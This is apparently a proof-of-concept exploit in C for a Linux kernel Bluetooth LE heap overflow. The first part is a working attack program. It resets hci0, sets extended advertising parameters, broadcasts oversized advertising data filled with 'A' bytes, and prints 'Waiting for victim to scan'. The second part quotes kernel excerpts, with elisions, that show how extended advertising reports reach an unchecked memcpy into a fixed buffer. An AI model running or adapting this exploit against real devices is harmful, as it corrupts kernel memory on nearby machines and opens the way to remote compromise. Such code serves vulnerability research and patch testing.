#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>

#define OCF_LE_SET_EXTENDED_ADVERTISING_PARAMETERS	0x2036
typedef struct {
	uint8_t  handle;
	uint16_t evt_properties;
	uint8_t  min_interval[3];
	uint8_t  max_interval[3];
	uint8_t  channel_map;
	uint8_t  own_addr_type;
	uint8_t  peer_addr_type;
	uint8_t  peer_addr[6];
	uint8_t  filter_policy;
	uint8_t  tx_power;
	uint8_t  primary_phy;
	uint8_t  secondary_max_skip;
	uint8_t  secondary_phy;
	uint8_t  sid;
	uint8_t  notif_enable;
} __attribute__ ((packed)) le_set_extended_advertising_parameters_cp;
#define LE_SET_EXTENDED_ADVERTISING_PARAMETERS_CP_SIZE 25

#define OCF_LE_SET_EXTENDED_ADVERTISING_DATA		0x2037
typedef struct {
	uint8_t  handle;
	uint8_t  operation;
	uint8_t  fragment_preference;
	uint8_t  data_len;
	uint8_t  data[0];
} __attribute__ ((packed)) le_set_extended_advertising_data_cp;
#define LE_SET_EXTENDED_ADVERTISING_DATA_CP_SIZE 4

#define OCF_LE_SET_EXTENDED_SCAN_RESPONSE_DATA	0x2038
typedef struct {
	uint8_t  handle;
	uint8_t  operation;
	uint8_t  fragment_preference;
	uint8_t  data_len;
	uint8_t  data[0];
} __attribute__ ((packed)) le_set_extended_scan_response_data_cp;
#define LE_SET_EXTENDED_SCAN_RESPONSE_DATA_CP_SIZE 4

#define OCF_LE_SET_EXTENDED_ADVERTISE_ENABLE		0x2039
typedef struct {
	uint8_t  enable;
	uint8_t  num_of_sets;
} __attribute__ ((packed)) le_set_extended_advertise_enable_cp;
#define LE_SET_EXTENDED_ADVERTISE_ENABLE_CP_SIZE 2

typedef struct {
	uint8_t  handle;
	uint16_t duration;
	uint8_t  max_events;
} __attribute__ ((packed)) le_extended_advertising_set;
#define LE_SET_EXTENDED_ADVERTISING_SET_SIZE 4

#define OVERFLOW_SIZE 0xe5

int main(int argc, char **argv) {
  struct hci_request rq;
  uint8_t status;
  char buf[0x100];

  printf("[*] Resetting hci0 device...\n");
  system("sudo hciconfig hci0 down");
  system("sudo hciconfig hci0 up");

  printf("[*] Opening hci device...\n");
  struct hci_dev_info di;
  int hci_device_id = hci_get_route(NULL);
  int hci_socket = hci_open_dev(hci_device_id);
  if (hci_devinfo(hci_device_id, &di) < 0) {
    perror("hci_devinfo");
    return 1;
  }

  le_set_extended_advertising_parameters_cp params;
  memset(&params, 0, LE_SET_EXTENDED_ADVERTISING_PARAMETERS_CP_SIZE);
  params.handle = 0;
  params.evt_properties = 1;
  params.min_interval[1] = 0x8;
  params.max_interval[1] = 0x8;
  params.channel_map = 7;
  params.tx_power = 0x7f;
  params.primary_phy = 1;
  params.secondary_phy = 1;

  memset(&rq, 0, sizeof(rq));
  rq.ogf = OGF_LE_CTL;
  rq.ocf = OCF_LE_SET_EXTENDED_ADVERTISING_PARAMETERS;
  rq.cparam = &params;
  rq.clen = LE_SET_EXTENDED_ADVERTISING_PARAMETERS_CP_SIZE;
  rq.rparam = &status;
  rq.rlen = sizeof(status);

  printf("[*] Setting extended advertising parameters...\n");
  hci_send_req(hci_socket, &rq, 1000);

  le_set_extended_advertising_data_cp *adv_data = (le_set_extended_advertising_data_cp *)buf;
  adv_data->handle = 0;
  adv_data->operation = 3;
  adv_data->fragment_preference = 1;
  adv_data->data_len = OVERFLOW_SIZE;
  adv_data->data[0] = OVERFLOW_SIZE - 1;
  memset(&adv_data->data[1], 'A', OVERFLOW_SIZE - 1);

  memset(&rq, 0, sizeof(rq));
  rq.ogf = OGF_LE_CTL;
  rq.ocf = OCF_LE_SET_EXTENDED_ADVERTISING_DATA;
  rq.cparam = adv_data;
  rq.clen = LE_SET_EXTENDED_ADVERTISING_DATA_CP_SIZE + OVERFLOW_SIZE;
  rq.rparam = &status;
  rq.rlen = sizeof(status);

  printf("[*] Setting extended advertising data...\n");
  hci_send_req(hci_socket, &rq, 1000);

  le_set_extended_advertise_enable_cp *enable = (le_set_extended_advertise_enable_cp *)buf;
  le_extended_advertising_set *set = (le_extended_advertising_set *)(buf + 2);
  enable->enable = 1;
  enable->num_of_sets = 1;
  set->handle = 0;
  set->duration = 0;
  set->max_events = 0;

  memset(&rq, 0, sizeof(rq));
  rq.ogf = OGF_LE_CTL;
  rq.ocf = OCF_LE_SET_EXTENDED_ADVERTISE_ENABLE;
  rq.cparam = buf;
  rq.clen = LE_SET_EXTENDED_ADVERTISE_ENABLE_CP_SIZE + LE_SET_EXTENDED_ADVERTISING_SET_SIZE;
  rq.rparam = &status;
  rq.rlen = sizeof(status);

  printf("[*] Enabling extended advertising...\n");
  hci_send_req(hci_socket, &rq, 1000);

  printf("[*] Waiting for victim to scan...\n");
  sleep(60);

  hci_close_dev(hci_socket);

  return 0;
}

static void hci_le_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
	u8 num_reports = skb->data[0];
	void *ptr = &skb->data[1];

	hci_dev_lock(hdev);

	while (num_reports--) {
		struct hci_ev_le_advertising_info *ev = ptr;
		s8 rssi;

		if (ev->length <= HCI_MAX_AD_LENGTH) {
			rssi = ev->data[ev->length];
			process_adv_report(hdev, ev->evt_type, &ev->bdaddr,
					   ev->bdaddr_type, NULL, 0, rssi,
					   ev->data, ev->length);
		} else {
			bt_dev_err(hdev, "Dropping invalid advertising data");
		}

		ptr += sizeof(*ev) + ev->length + 1;
	}

	hci_dev_unlock(hdev);
}

...

static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
{
	u8 num_reports = skb->data[0];
	void *ptr = &skb->data[1];

	hci_dev_lock(hdev);

	while (num_reports--) {
		struct hci_ev_le_ext_adv_report *ev = ptr;
		u8 legacy_evt_type;
		u16 evt_type;

		evt_type = __le16_to_cpu(ev->evt_type);
		legacy_evt_type = ext_evt_type_to_legacy(hdev, evt_type);
		if (legacy_evt_type != LE_ADV_INVALID) {
			process_adv_report(hdev, legacy_evt_type, &ev->bdaddr,
					   ev->bdaddr_type, NULL, 0, ev->rssi,
					   ev->data, ev->length);
		}

		ptr += sizeof(*ev) + ev->length;
	}

	hci_dev_unlock(hdev);
}

static void process_adv_report(struct hci_dev *hdev, u8 type, bdaddr_t *bdaddr,
			       u8 bdaddr_type, bdaddr_t *direct_addr,
			       u8 direct_addr_type, s8 rssi, u8 *data, u8 len)
{
	struct discovery_state *d = &hdev->discovery;
	struct smp_irk *irk;
	struct hci_conn *conn;
	bool match;
	u32 flags;
	u8 *ptr, real_len;

	...

	/* Passive scanning shouldn't trigger any device found events,
	 * except for devices marked as CONN_REPORT for which we do send
	 * device found events.
	 */
	if (hdev->le_scan_type == LE_SCAN_PASSIVE) {
		...
		return;
	}

	...

	/* If there's nothing pending either store the data from this
	 * event or send an immediate device found event if the data
	 * should not be stored for later.
	 */
	if (!has_pending_adv_report(hdev)) {
		/* If the report will trigger a SCAN_REQ store it for
		 * later merging.
		 */
		if (type == LE_ADV_IND || type == LE_ADV_SCAN_IND) {
			store_pending_adv_report(hdev, bdaddr, bdaddr_type,
						 rssi, flags, data, len);
			return;
		}

		mgmt_device_found(hdev, bdaddr, LE_LINK, bdaddr_type, NULL,
				  rssi, flags, data, len, NULL, 0);
		return;
	}

	...
}

static void store_pending_adv_report(struct hci_dev *hdev, bdaddr_t *bdaddr,
				     u8 bdaddr_type, s8 rssi, u32 flags,
				     u8 *data, u8 len)
{
	struct discovery_state *d = &hdev->discovery;

	bacpy(&d->last_adv_addr, bdaddr);
	d->last_adv_addr_type = bdaddr_type;
	d->last_adv_rssi = rssi;
	d->last_adv_flags = flags;
	memcpy(d->last_adv_data, data, len);
	d->last_adv_data_len = len;
}

struct hci_dev {
	...
	struct discovery_state {
		...
		u8			last_adv_data[HCI_MAX_AD_LENGTH];
		u8			last_adv_data_len;
		bool			report_invalid_rssi;
		bool			result_filtering;
		bool			limited;
		s8			rssi;
		u16			uuid_count;
		u8			(*uuids)[16];
		unsigned long		scan_start;
		unsigned long		scan_duration;
	} discovery;

	// BEGIN
	// The following fields are available since Linux kernel 5.7.
	int			discovery_old_state;
	bool			discovery_paused;
	int			advertising_old_state;
	bool			advertising_paused;

	struct notifier_block	suspend_notifier;
	struct work_struct	suspend_prepare;
	enum suspended_state	suspend_state_next;
	enum suspended_state	suspend_state;
	bool			scanning_paused;
	bool			suspended;

	wait_queue_head_t	suspend_wait_q;
	DECLARE_BITMAP(suspend_tasks, __SUSPEND_NUM_TASKS);
	// END

	struct hci_conn_hash	conn_hash;

	struct list_head	mgmt_pending;
	...
};